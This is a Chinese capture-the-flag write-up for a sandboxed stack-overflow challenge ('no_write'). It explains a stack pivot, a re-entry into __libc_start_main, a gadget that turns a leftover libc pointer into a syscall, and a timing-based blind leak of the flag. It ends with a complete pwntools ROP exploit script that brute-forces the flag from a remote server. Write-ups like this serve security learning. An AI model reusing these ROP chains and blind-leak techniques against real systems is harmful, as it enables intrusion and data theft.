首先,检查一下程序的保护机制
检测一下沙箱,发现仅能进行open、read、exit操作,write操作都不行。
然后,我们用IDA分析一下,是一个及其简短的栈溢出程序
程序中没有输出,并且write也禁用了,也没有open函数,execve也禁用了,FULL RELRO也不能进行ret2dl,那么本题只能进行盲注,我们还需要构造出一个open系统调用。但是几乎没有可用的地方可以给我们构造。
找到一条有用的gadgets,如果在bss段上有一个libc某指针,通过这个gadget可以让其指向syscall,这样我们就可以构造open系统调用了。
但是bss段上没有这样的指针,如果有stdout,那么我们可以利用,但是这里没有。由此,想到了libc_start_main。
我们可以先将栈迁移到bss段上,然后调用libc_start_main重启某函数,这样,在bss上就会留下很多libc指针,但是我们不能重启main函数了,因为里面有prctl函数,而prctl调用被禁了。由此,我们可以重启read_n函数,继续输出,劫持自己的返回地址,然后就又可以做rop了。
当在bss段上留下libc指针后,我们就通过gadget将其修改为syscall的地址,然后构造open、read将flag读取到内存当中。
接下来,就是盲注了,在csu上,有一个cmp指令非常有用,我们可以令rbp的低1自己保存着flag对应偏移的1字节,rbp其余字节全为0,然后,我们从rop里传入rbx的值为我们猜测的字符,这样cmp比较,成功后会向下执行pop,我们在后面再布置合适的rop,将栈转移到前面进行重复的cmp,相当于是一个死循环;如果比较失败,则jnz会跳到前面,然后执行call的时候,会崩溃。
如何来让rbp仅保存flag的1字节是重点。
比如,我们要盲注第3个字符,我们读取3个符,将它存储到rbp-0x2的位置,这样,第3个字符就落到了rbp的位置,同理,我们盲注第n个字符时,从文件中读取n个字节,将它存储到rbp-n+1的位置,而rbp始终是这个地址。如何将值保存到rbp里呢,我们使用栈迁移,这样在leave;ret的时候,pop rbp就将数据存储到了rbp里,接下来就会执行后面的rop,因此,我们在bss段上任意找一个地方,保证其8字节为0,以后,我们就将rbp固定在这,然后事先在这后面布置好rop,接下来flag读取存储到这里后,栈迁移过来进行cmp等操作。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 from pwn import *elf = ELF('./no_write' ) read_n = 0x00000000004006BF read_got = elf.got['read' ] main_addr = 0x00000000004006E8 ret = 0x000000000040070C pop_rbp = 0x0000000000400588 pop_rdi = 0x0000000000400773 pop_rsi = 0x0000000000400771 pop = 0x000000000040076b csu_pop = 0x000000000040076A cmp_rbx_rbp = 0x0000000000400761 leave_ret = 0x000000000040067c ''' .text:00000000004005B0 mov rdx, r15 .text:00000000004005B3 mov rsi, r14 .text:00000000004005B6 mov edi, r13d .text:00000000004005B9 call qword ptr [r12+rbx*8] .text:00000000004005BD add rbx, 1 .text:00000000004005C1 cmp rbp, rbx .text:00000000004005C4 jnz short loc_4005B0 ''' csu_call = 0x0000000000400750 bss_addr = 0x0000000000601080 call_libc_start_main = 0x0000000000400544 add_dp_rbp = 0x00000000004005e8 new_stack = bss_addr + 0x600 def blind (index,guess_char ): payload = 'a' *0x18 + p64(pop_rdi) + p64(new_stack+0x8 ) + p64(pop_rsi) + p64(0x00000000006015D0 ) + p64(0 ) + p64(read_n) payload += p64(pop_rbp) + p64(new_stack) + p64(leave_ret) sleep(0.2 ) sh.send(payload) sleep(0.2 ) bss_start = 0x0000000000601078 payload = p64(pop_rdi) + p64(read_n + 0x1C ) + p64(call_libc_start_main) sh.send(payload) sleep(0.2 ) target_syscall = 0x00000000006015C0 flag_addr = 0x0000000000601708 rop = p64(csu_pop) rop += p64(0x10000000000000000 -0x2 ) rop += p64(target_syscall + 0x3D ) rop += p64(0 ) rop += p64(0 ) rop += p64(0 ) rop += p64(0 ) rop += p64(ret) * 11 rop += p64(add_dp_rbp) rop += p64(pop_rdi) + p64(target_syscall + 0x8 ) + p64(pop_rsi) + p64(0x1000 ) + p64(0 ) + p64(read_n) rop += p64(pop_rdi) + p64(bss_addr) + p64(pop_rsi) + p64(0x2 ) + p64(0 ) + p64(read_n) rop += p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0 )*2 rop += p64(pop_rbp) + p64(target_syscall - 0x8 ) + p64(leave_ret) rop += './flag\x00' sh.send(rop) sleep(0.2 ) rop_addr = 0x00000000006015C8 flag_addr = rop_addr + 0x200 rop = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0x1000 ) + p64(0 ) + p64(read_n) rop += p64(csu_pop) rop += p64(0 ) + p64(1 ) rop += p64(read_got) rop += p64(3 ) + p64(flag_addr-index) + p64(0x1 +index) rop += p64(csu_call) rop += p64(0 ) rop += p64(ord (guess_char)) rop += p64(flag_addr) rop += p64(0 )*4 rop += p64(leave_ret) sleep(0.2 ) sh.send(rop) sh.sendline('a' ) rop2 = '\x00' *8 + p64(cmp_rbx_rbp) + p64(0 ) rop2 += p64(ord (guess_char)) rop2 += p64(flag_addr) rop2 += p64(0 )*4 rop2 += p64(leave_ret) sleep(0.2 ) sh.sendline(rop2) possible_char = [] possible_char.append('_' ) for x in range (0 ,10 ): possible_char.append(str (x)) for x in range (ord ('A' ),ord ('Z' )+1 ): possible_char.append(chr (x)) for x in range (ord ('a' ),ord ('z' )+1 ): possible_char.append(chr (x)) possible_char.append('{' ) possible_char.append('}' ) possible_char.append('\x00' ) OK = False flag = '' index = 0 while not OK: print 'guess (' ,index,') char' length = len (flag) for guess_char in possible_char: global sh sh = remote('129.211.134.166' ,6000 ) blind(index,guess_char) start = time.time() sh.can_recv_raw(timeout = 3 ) end = time.time() sh.close() if end - start > 3 : if guess_char == '\x00' : OK = True flag += guess_char print 'success guess char at(' ,index,')' index+=1 break ; print 'flag=' ,flag if length == len (flag): OK = True print 'ojbk!'